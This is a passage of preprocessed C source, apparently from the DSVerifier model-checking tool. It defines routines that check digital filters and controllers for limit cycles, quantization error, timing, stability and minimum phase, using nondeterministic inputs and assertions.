for (i = 0; i < X_SIZE_VALUE; ++i) {
x[i] = nondet_constant_input;
y[i] = 0;
}
for (i = 0; i < ds.b_size; ++i) {
xaux[i] = nondet_constant_input;
}
int Nw = 0;
Nw = ds.a_size > ds.b_size ? ds.a_size : ds.b_size;
fxp_t yaux[ds.a_size];
fxp_t y0[ds.a_size];
fxp_t waux[Nw];
fxp_t w0[Nw];
# 206 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h"
for (i = 0; i < Nw; ++i) {
waux[i] = nondet_int();
__DSVERIFIER_assume(waux[i] >= min_fxp && waux[i] <= max_fxp);
w0[i] = waux[i];
}
fxp_t xk, temp;
fxp_t *aptr, *bptr, *xptr, *yptr, *wptr;
int j;
for(i=0; i<X_SIZE_VALUE; ++i){
# 228 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h"
shiftR(0, waux, Nw);
y[i] = fxp_direct_form_2(waux, x[i], a_fxp, b_fxp, ds.a_size, ds.b_size);
# 278 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h"
}
fxp_check_persistent_limit_cycle(y, X_SIZE_VALUE);
return 0;
}
# 34 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error.h" 1
# 17 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error.h"
extern digital_system ds;
extern implementation impl;
int verify_error(void){
overflow_mode = 2;
double a_cascade[100];
int a_cascade_size;
double b_cascade[100];
int b_cascade_size;
fxp_t a_fxp[ds.a_size];
fxp_t b_fxp[ds.b_size];
fxp_double_to_fxp_array(ds.a, a_fxp, ds.a_size);
fxp_double_to_fxp_array(ds.b, b_fxp, ds.b_size);
# 69 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error.h"
fxp_t min_fxp = fxp_double_to_fxp(impl.min);
fxp_t max_fxp = fxp_double_to_fxp(impl.max);
fxp_t y[X_SIZE_VALUE];
fxp_t x[X_SIZE_VALUE];
double yf[X_SIZE_VALUE];
double xf[X_SIZE_VALUE];
int Nw = 0;
Nw = ds.a_size > ds.b_size ? ds.a_size : ds.b_size;
fxp_t yaux[ds.a_size];
fxp_t xaux[ds.b_size];
fxp_t waux[Nw];
double yfaux[ds.a_size];
double xfaux[ds.b_size];
double wfaux[Nw];
int i;
for (i = 0; i < ds.a_size; ++i) {
yaux[i] = 0;
yfaux[i] = 0;
}
for (i = 0; i < ds.b_size; ++i) {
xaux[i] = 0;
xfaux[i] = 0;
}
for (i = 0; i < Nw; ++i) {
waux[i] = 0;
wfaux[i] = 0;
}
for (i = 0; i < X_SIZE_VALUE; ++i) {
y[i] = 0;
x[i] = nondet_int();
__DSVERIFIER_assume(x[i] >= min_fxp && x[i] <= max_fxp);
yf[i] = 0.0f;
xf[i] = fxp_to_double(x[i]);
}
for (i = 0; i < X_SIZE_VALUE; ++i) {
# 139 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error.h"
shiftRboth(0.0f, wfaux, 0, waux, Nw);
y[i] = fxp_direct_form_2(waux, x[i], a_fxp, b_fxp, ds.a_size, ds.b_size);
yf[i] = double_direct_form_2(wfaux, xf[i], ds.a, ds.b, ds.a_size, ds.b_size);
# 169 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error.h"
double absolute_error = yf[i] - fxp_to_double(y[i]);
__DSVERIFIER_assert(absolute_error < (impl.max_error) && absolute_error > (-impl.max_error));
}
return 0;
}
# 35 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_zero_input_limit_cycle.h" 1
# 13 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_zero_input_limit_cycle.h"
extern digital_system ds;
extern implementation impl;
int verify_zero_input_limit_cycle(void){
overflow_mode = 3;
int i,j;
int Set_xsize_at_least_two_times_Na = 2 * ds.a_size;
printf("X_SIZE must be at least 2 * ds.a_size");
# 23 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_zero_input_limit_cycle.h" 3 4
((void) sizeof ((
# 23 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_zero_input_limit_cycle.h"
X_SIZE_VALUE >= Set_xsize_at_least_two_times_Na
# 23 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_zero_input_limit_cycle.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 23 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_zero_input_limit_cycle.h"
X_SIZE_VALUE >= Set_xsize_at_least_two_times_Na
# 23 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_zero_input_limit_cycle.h" 3 4
) ; else __assert_fail (
# 23 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_zero_input_limit_cycle.h"
"X_SIZE_VALUE >= Set_xsize_at_least_two_times_Na"
# 23 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_zero_input_limit_cycle.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_zero_input_limit_cycle.h", 23, __extension__ __PRETTY_FUNCTION__); }))
# 23 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_zero_input_limit_cycle.h"
;
fxp_t a_fxp[ds.a_size];
fxp_t b_fxp[ds.b_size];
fxp_double_to_fxp_array(ds.a, a_fxp, ds.a_size);
fxp_double_to_fxp_array(ds.b, b_fxp, ds.b_size);
# 71 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_zero_input_limit_cycle.h"
fxp_t min_fxp = fxp_double_to_fxp(impl.min);
fxp_t max_fxp = fxp_double_to_fxp(impl.max);
fxp_t y[X_SIZE_VALUE];
fxp_t x[X_SIZE_VALUE];
for (i = 0; i < X_SIZE_VALUE; ++i) {
y[i] = 0;
x[i] = 0;
}
int Nw = 0;
Nw = ds.a_size > ds.b_size ? ds.a_size : ds.b_size;
fxp_t yaux[ds.a_size];
fxp_t xaux[ds.b_size];
fxp_t waux[Nw];
fxp_t y0[ds.a_size];
fxp_t w0[Nw];
# 104 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_zero_input_limit_cycle.h"
for (i = 0; i < Nw; ++i) {
waux[i] = nondet_int();
__DSVERIFIER_assume(waux[i] >= min_fxp && waux[i] <= max_fxp);
w0[i] = waux[i];
}
for (i = 0; i < ds.b_size; ++i) {
xaux[i] = 0;
}
fxp_t xk, temp;
fxp_t *aptr, *bptr, *xptr, *yptr, *wptr;
for(i=0; i<X_SIZE_VALUE; ++i){
# 132 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_zero_input_limit_cycle.h"
shiftR(0, waux, Nw);
y[i] = fxp_direct_form_2(waux, x[i], a_fxp, b_fxp, ds.a_size, ds.b_size);
# 188 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_zero_input_limit_cycle.h"
}
fxp_check_persistent_limit_cycle(y, X_SIZE_VALUE);
return 0;
}
# 36 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_generic_timing.h" 1
# 16 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_generic_timing.h"
int nondet_int();
float nondet_float();
extern digital_system ds;
extern implementation impl;
extern hardware hw;
int generic_timer = 0;
int verify_generic_timing(void) {
double y[X_SIZE_VALUE];
double x[X_SIZE_VALUE];
int i;
for (i = 0; i < X_SIZE_VALUE; ++i) {
y[i] = 0;
x[i] = nondet_float();
__DSVERIFIER_assume(x[i] >= impl.min && x[i] <= impl.max);
}
int Nw = 0;
Nw = ds.a_size > ds.b_size ? ds.a_size : ds.b_size;
double yaux[ds.a_size];
double xaux[ds.b_size];
double waux[Nw];
for (i = 0; i < ds.a_size; ++i) {
yaux[i] = 0;
}
for (i = 0; i < ds.b_size; ++i) {
xaux[i] = 0;
}
for (i = 0; i < Nw; ++i) {
waux[i] = 0;
}
double xk, temp;
double *aptr, *bptr, *xptr, *yptr, *wptr;
int j;
generic_timer += ((2 * hw.assembly.std) + (1 * hw.assembly.rjmp));
double initial_timer = generic_timer;
for (i = 0; i < X_SIZE_VALUE; ++i) {
generic_timer += ((2 * hw.assembly.ldd) + (1 * hw.assembly.adiw) + (2 * hw.assembly.std));
generic_timer += ((2 * hw.assembly.ldd) + (1 * hw.assembly.cpi) + (1 * hw.assembly.cpc) + (1 * hw.assembly.brlt));
# 79 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_generic_timing.h"
generic_timing_shift_r_double(0, waux, Nw);
y[i] = generic_timing_double_direct_form_2(waux, x[i], ds.a, ds.b, ds.a_size, ds.b_size);
double spent_time = (((double) generic_timer) * hw.cycle);
# 89 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_generic_timing.h" 3 4
((void) sizeof ((
# 89 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_generic_timing.h"
spent_time <= ds.sample_time
# 89 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_generic_timing.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 89 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_generic_timing.h"
spent_time <= ds.sample_time
# 89 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_generic_timing.h" 3 4
) ; else __assert_fail (
# 89 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_generic_timing.h"
"spent_time <= ds.sample_time"
# 89 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_generic_timing.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_generic_timing.h", 89, __extension__ __PRETTY_FUNCTION__); }))
# 89 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_generic_timing.h"
;
generic_timer = initial_timer;
}
return 0;
}
# 37 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_timing_msp430.h" 1
# 16 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_timing_msp430.h"
int nondet_int();
float nondet_float();
extern digital_system ds;
extern implementation impl;
int verify_timing_msp_430(void) {
double y[X_SIZE_VALUE];
double x[X_SIZE_VALUE];
int i;
for (i = 0; i < X_SIZE_VALUE; ++i) {
y[i] = 0;
x[i] = nondet_float();
__DSVERIFIER_assume(x[i] >= impl.min && x[i] <= impl.max);
}
int Nw = 0;
Nw = ds.a_size > ds.b_size ? ds.a_size : ds.b_size;
double yaux[ds.a_size];
double xaux[ds.b_size];
double waux[Nw];
for (i = 0; i < ds.a_size; ++i) {
yaux[i] = 0;
}
for (i = 0; i < ds.b_size; ++i) {
xaux[i] = 0;
}
for (i = 0; i < Nw; ++i) {
waux[i] = 0;
}
double xk, temp;
double *aptr, *bptr, *xptr, *yptr, *wptr;
int j;
for (i = 0; i < X_SIZE_VALUE; ++i) {
# 69 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_timing_msp430.h"
shiftR(0, waux, Nw);
y[i] = double_direct_form_2_MSP430(waux, x[i], ds.a, ds.b, ds.a_size, ds.b_size);
# 121 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_timing_msp430.h"
}
return 0;
}
# 38 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_stability.h" 1
# 21 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_stability.h"
extern digital_system ds;
extern implementation impl;
int verify_stability(void){
overflow_mode = 0;
fxp_t a_fxp[ds.a_size];
fxp_double_to_fxp_array(ds.a, a_fxp, ds.a_size);
double _a[ds.a_size];
fxp_to_double_array(_a, a_fxp, ds.a_size);
# 37 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_stability.h" 3 4
((void) sizeof ((
# 37 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_stability.h"
check_stability(_a, ds.a_size)
# 37 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_stability.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 37 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_stability.h"
check_stability(_a, ds.a_size)
# 37 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_stability.h" 3 4
) ; else __assert_fail (
# 37 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_stability.h"
"check_stability(_a, ds.a_size)"
# 37 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_stability.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_stability.h", 37, __extension__ __PRETTY_FUNCTION__); }))
# 37 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_stability.h"
;
# 83 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_stability.h"
return 0;
}
# 39 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_minimum_phase.h" 1
# 21 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_minimum_phase.h"
extern digital_system ds;
extern implementation impl;
int verify_minimum_phase(void){
overflow_mode = 0;
fxp_t b_fxp[ds.b_size];
fxp_double_to_fxp_array(ds.b, b_fxp, ds.b_size);
double _b[ds.b_size];
fxp_to_double_array(_b, b_fxp, ds.b_size);
__DSVERIFIER_assert(check_stability(_b, ds.b_size));
# 85 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_minimum_phase.h"
return 0;
}
# 40 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_stability_closedloop.h" 1
# 17 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_stability_closedloop.h"
extern digital_system plant;
extern digital_system plant_cbmc;
extern digital_system controller;
int verify_stability_closedloop_using_dslib(void){
double * c_num = controller.b;
int c_num_size = controller.b_size;
double * c_den = controller.a;
int c_den_size = controller.a_size;
fxp_t c_num_fxp[controller.b_size];
fxp_double_to_fxp_array(c_num, c_num_fxp, controller.b_size);
fxp_t c_den_fxp[controller.a_size];
fxp_double_to_fxp_array(c_den, c_den_fxp, controller.a_size);
double c_num_qtz[controller.b_size];
fxp_to_double_array(c_num_qtz, c_num_fxp, controller.b_size);
double c_den_qtz[controller.a_size];
fxp_to_double_array(c_den_qtz, c_den_fxp, controller.a_size);
double * p_num = plant.b;
int p_num_size = plant.b_size;
double * p_den = plant.a;
int p_den_size = plant.a_size;
double ans_num[100];
int ans_num_size = controller.b_size + plant.b_size - 1;
double ans_den[100];
int ans_den_size = controller.a_size + plant.a_size - 1;
# 68 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_stability_closedloop.h"
printf("Verifying stability for closedloop function\n");
__DSVERIFIER_assert(check_stability_closedloop(ans_den, ans_den_size, p_num, p_num_size, p_den, p_den_size));
return 0;
}
# 41 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle_closedloop.h" 1
# 23 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle_closedloop.h"
extern digital_system plant;
extern digital_system plant_cbmc;
extern digital_system controller;
double nondet_double();
int verify_limit_cycle_closed_loop(void){
overflow_mode = 3;
double * c_num = controller.b;
int c_num_size = controller.b_size;
double * c_den = controller.a;
int c_den_size = controller.a_size;
fxp_t c_num_fxp[controller.b_size];
fxp_double_to_fxp_array(c_num, c_num_fxp, controller.b_size);
fxp_t c_den_fxp[controller.a_size];
fxp_double_to_fxp_array(c_den, c_den_fxp, controller.a_size);
double c_num_qtz[controller.b_size];
fxp_to_double_array(c_num_qtz, c_num_fxp, controller.b_size);
double c_den_qtz[controller.a_size];
fxp_to_double_array(c_den_qtz, c_den_fxp, controller.a_size);
double * p_num = plant.b;
int p_num_size = plant.b_size;
double * p_den = plant.a;
int p_den_size = plant.a_size;
double ans_num[100];
int ans_num_size = controller.b_size + plant.b_size - 1;
double ans_den[100];
int ans_den_size = controller.a_size + plant.a_size - 1;
int i;
double y[X_SIZE_VALUE];
double x[X_SIZE_VALUE];
double xaux[ans_num_size];
double nondet_constant_input = nondet_double();
__DSVERIFIER_assume(nondet_constant_input >= impl.min && nondet_constant_input <= impl.max);
for (i = 0; i < X_SIZE_VALUE; ++i) {
x[i] = nondet_constant_input;
y[i] = 0;
}
for (i = 0; i < ans_num_size; ++i) {
xaux[i] = nondet_constant_input;
}
double yaux[ans_den_size];
double y0[ans_den_size];
int Nw = ans_den_size > ans_num_size ? ans_den_size : ans_num_size;
double waux[Nw];
double w0[Nw];
# 105 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle_closedloop.h"
for (i = 0; i < Nw; ++i) {
waux[i] = nondet_int();
__DSVERIFIER_assume(waux[i] >= impl.min && waux[i] <= impl.max);
w0[i] = waux[i];
}
double xk, temp;
double *aptr, *bptr, *xptr, *yptr, *wptr;
int j;
for(i=0; i<X_SIZE_VALUE; ++i){
# 128 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle_closedloop.h"
shiftRDdouble(0, waux, Nw);
y[i] = double_direct_form_2(waux, x[i], ans_den, ans_num, ans_den_size, ans_num_size);
}
double_check_persistent_limit_cycle(y, X_SIZE_VALUE);
return 0;
}
# 42 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_closedloop.h" 1
# 23 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_closedloop.h"
extern digital_system plant;
extern digital_system plant_cbmc;
extern digital_system controller;
int verify_error_closedloop(void){
overflow_mode = 3;
double * c_num = controller.b;
int c_num_size = controller.b_size;
double * c_den = controller.a;
int c_den_size = controller.a_size;
fxp_t c_num_fxp[controller.b_size];
fxp_double_to_fxp_array(c_num, c_num_fxp, controller.b_size);
fxp_t c_den_fxp[controller.a_size];
fxp_double_to_fxp_array(c_den, c_den_fxp, controller.a_size);
double c_num_qtz[controller.b_size];
fxp_to_double_array(c_num_qtz, c_num_fxp, controller.b_size);
double c_den_qtz[controller.a_size];
fxp_to_double_array(c_den_qtz, c_den_fxp, controller.a_size);
double * p_num = plant.b;
int p_num_size = plant.b_size;
double * p_den = plant.a;
int p_den_size = plant.a_size;
double ans_num_double[100];
double ans_num_qtz[100];
int ans_num_size = controller.b_size + plant.b_size - 1;
double ans_den_qtz[100];
double ans_den_double[100];
int ans_den_size = controller.a_size + plant.a_size - 1;
# 77 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_closedloop.h"
int i;
double y_qtz[X_SIZE_VALUE];
double y_double[X_SIZE_VALUE];
double x_qtz[X_SIZE_VALUE];
double x_double[X_SIZE_VALUE];
double xaux_qtz[ans_num_size];
double xaux_double[ans_num_size];
double xaux[ans_num_size];
double nondet_constant_input = nondet_double();
__DSVERIFIER_assume(nondet_constant_input >= impl.min && nondet_constant_input <= impl.max);
for (i = 0; i < X_SIZE_VALUE; ++i) {
x_qtz[i] = nondet_constant_input;
x_double[i] = nondet_constant_input;
y_qtz[i] = 0;
y_double[i] = 0;
}
for (i = 0; i < ans_num_size; ++i) {
xaux_qtz[i] = nondet_constant_input;
xaux_double[i] = nondet_constant_input;
}
double yaux_qtz[ans_den_size];
double yaux_double[ans_den_size];
double y0_qtz[ans_den_size];
double y0_double[ans_den_size];
int Nw = ans_den_size > ans_num_size ? ans_den_size : ans_num_size;
double waux_qtz[Nw];
double waux_double[Nw];
double w0_qtz[Nw];
double w0_double[Nw];
for (i = 0; i < Nw; ++i) {
waux_qtz[i] = 0;
waux_double[i] = 0;
}
for(i=0; i<X_SIZE_VALUE; ++i){
# 140 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_closedloop.h"
shiftRDdouble(0, waux_qtz, Nw);
y_qtz[i] = double_direct_form_2(waux_qtz, x_qtz[i], ans_den_qtz, ans_num_qtz, ans_den_size, ans_num_size);
shiftRDdouble(0, waux_double, Nw);
y_double[i] = double_direct_form_2(waux_double, x_double[i], ans_den_double, ans_num_double, ans_den_size, ans_num_size);
# 156 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_closedloop.h"
double absolute_error = y_double[i] - fxp_to_double(y_qtz[i]);
__DSVERIFIER_assert(absolute_error < (impl.max_error) && absolute_error > (-impl.max_error));
}
return 0;
}
# 43 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h" 1
# 20 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h"
extern digital_system_state_space _controller;
extern double error_limit;
extern int closed_loop;
double new_state[4][4];
double new_stateFWL[4][4];
digital_system_state_space _controller_fxp;
digital_system_state_space _controller_double;
double ss_system_quantization_error(fxp_t inputs){
digital_system_state_space __backupController;
int i;
int j;
_controller.inputs[0][0] = inputs;
for(i=0; i<nStates;i++){
for(j=0; j<nStates;j++){
__backupController.A[i][j]= (_controller.A[i][j]);
}
}
for(i=0; i<nStates;i++){
for(j=0; j<nInputs;j++){
__backupController.B[i][j]= (_controller.B[i][j]);
}
}
for(i=0; i<nOutputs;i++){
for(j=0; j<nStates;j++){
__backupController.C[i][j]= (_controller.C[i][j]);
}
}
for(i=0; i<nOutputs;i++){
for(j=0; j<nInputs;j++){
__backupController.D[i][j]= (_controller.D[i][j]);
}
}
for(i=0; i<nStates;i++){
for(j=0; j<1;j++){
__backupController.states[i][j]= (_controller.states[i][j]);
}
}
for(i=0; i<nInputs;i++){
for(j=0; j<1;j++){
__backupController.inputs[i][j]= (_controller.inputs[i][j]);
}
}
for(i=0; i<nOutputs;i++){
for(j=0; j<1;j++){
__backupController.outputs[i][j]= (_controller.outputs[i][j]);
}
}
double __quant_error = 0.0;
for(i=0; i<nStates;i++){
for(j=0; j<1;j++){
_controller.states[i][j]= (new_state[i][j]);
}
}
double output_double = double_state_space_representation();
for(i=0; i<nStates;i++){
for(j=0; j<1;j++){
new_state[i][j]= (_controller.states[i][j]);
}
}
__backupController.inputs[0][0] = inputs;
for(i=0; i<nStates;i++){
for(j=0; j<nStates;j++){
_controller.A[i][j] = __backupController.A[i][j];
}
}
for(i=0; i<nStates;i++){
for(j=0; j<nInputs;j++){
_controller.B[i][j] = __backupController.B[i][j];
}
}
for(i=0; i<nOutputs;i++){
for(j=0; j<nStates;j++){
_controller.C[i][j] = __backupController.C[i][j];
}
}
for(i=0; i<nOutputs;i++){
for(j=0; j<nInputs;j++){
_controller.D[i][j] = __backupController.D[i][j];
}
}
for(i=0; i<nStates;i++){
for(j=0; j<1;j++){
_controller.states[i][j] = __backupController.states[i][j];
}
}
for(i=0; i<nInputs;i++){
for(j=0; j<1;j++){
_controller.inputs[i][j] = __backupController.inputs[i][j];
}
}
for(i=0; i<nOutputs;i++){
for(j=0; j<1;j++){
_controller.outputs[i][j] = __backupController.outputs[i][j];
}
}
for(i=0; i<nStates;i++){
for(j=0; j<1;j++){
_controller.states[i][j]= (new_stateFWL[i][j]);
}
}
double output_fxp = fxp_state_space_representation();
for(i=0; i<nStates;i++){
for(j=0; j<1;j++){
new_stateFWL[i][j]= (_controller.states[i][j]);
}
}
__quant_error = output_double - output_fxp;
return __quant_error;
}
double fxp_ss_closed_loop_quantization_error(double reference){
double reference_aux[4][4];
double result1[4][4];
double temp_result1[4][4];
double result2[4][4];
double temp_states[4][4];
fxp_t K_fxp[4][4];
fxp_t states_fxp[4][4];
fxp_t result_fxp[4][4];
unsigned int i;
unsigned int j;
unsigned int k;
short unsigned int flag = 0;
for(i=0; i<nOutputs;i++){
for(j=0; j<nInputs;j++){
if(_controller_fxp.D[i][j] != 0){
flag = 1;
}
}
}
for(i=0; i<4;i++){
for(j=0; j<4;j++){
reference_aux[i][j]=0;
K_fxp[i][j] = 0;
}
}
for(i=0; i<nInputs;i++){
reference_aux[i][0]= reference;
}
for(i=0; i<4;i++){
states_fxp[i][0]=0;
}
for(i=0; i<nStates;i++){
K_fxp[0][i]= fxp_double_to_fxp(_controller_fxp.K[0][i]);
}
for(i=0; i<4;i++){
for(j=0; j<4;j++){
result1[i][j]=0;
result2[i][j]=0;
}
}
for(k=0; k<nStates;k++)
{
states_fxp[k][0]= fxp_double_to_fxp(_controller_fxp.states[k][0]);
}
fxp_matrix_multiplication(nOutputs,nStates,nStates,1,K_fxp,states_fxp,result_fxp);
fxp_t reference_fxp[4][4];
fxp_t result_fxp2[4][4];
for(k=0;k<nInputs;k++)
{
reference_fxp[k][0] =fxp_double_to_fxp(fxp_quantize(reference_aux[k][0]));
}
fxp_sub_matrix(nInputs,1, reference_fxp, result_fxp, result_fxp2);
for(k=0; k<nInputs;k++)
{
_controller_fxp.inputs[k][0] = fxp_to_double(fxp_quantize(result_fxp2[k][0]));
}
double_matrix_multiplication(nOutputs,nStates,nStates,1,_controller_fxp.C,_controller_fxp.states,result1);
if(flag == 1)
{
double_matrix_multiplication(nOutputs,nInputs,nInputs,1,_controller_fxp.D,_controller_fxp.inputs,result2);
}
double_add_matrix(nOutputs,1,result1,result2,_controller_fxp.outputs);
double_matrix_multiplication(nStates,nStates,nStates,1,_controller_fxp.A,_controller_fxp.states,result1);
double_matrix_multiplication(nStates,nInputs,nInputs,1,_controller_fxp.B,_controller_fxp.inputs,result2);
double_add_matrix(nStates,1,result1,result2,_controller_fxp.states);
return _controller_fxp.outputs[0][0];
}
double ss_closed_loop_quantization_error(double reference){
double reference_aux[4][4];
double result1[4][4];
double result2[4][4];
unsigned int i;
unsigned int j;
short unsigned int flag = 0;
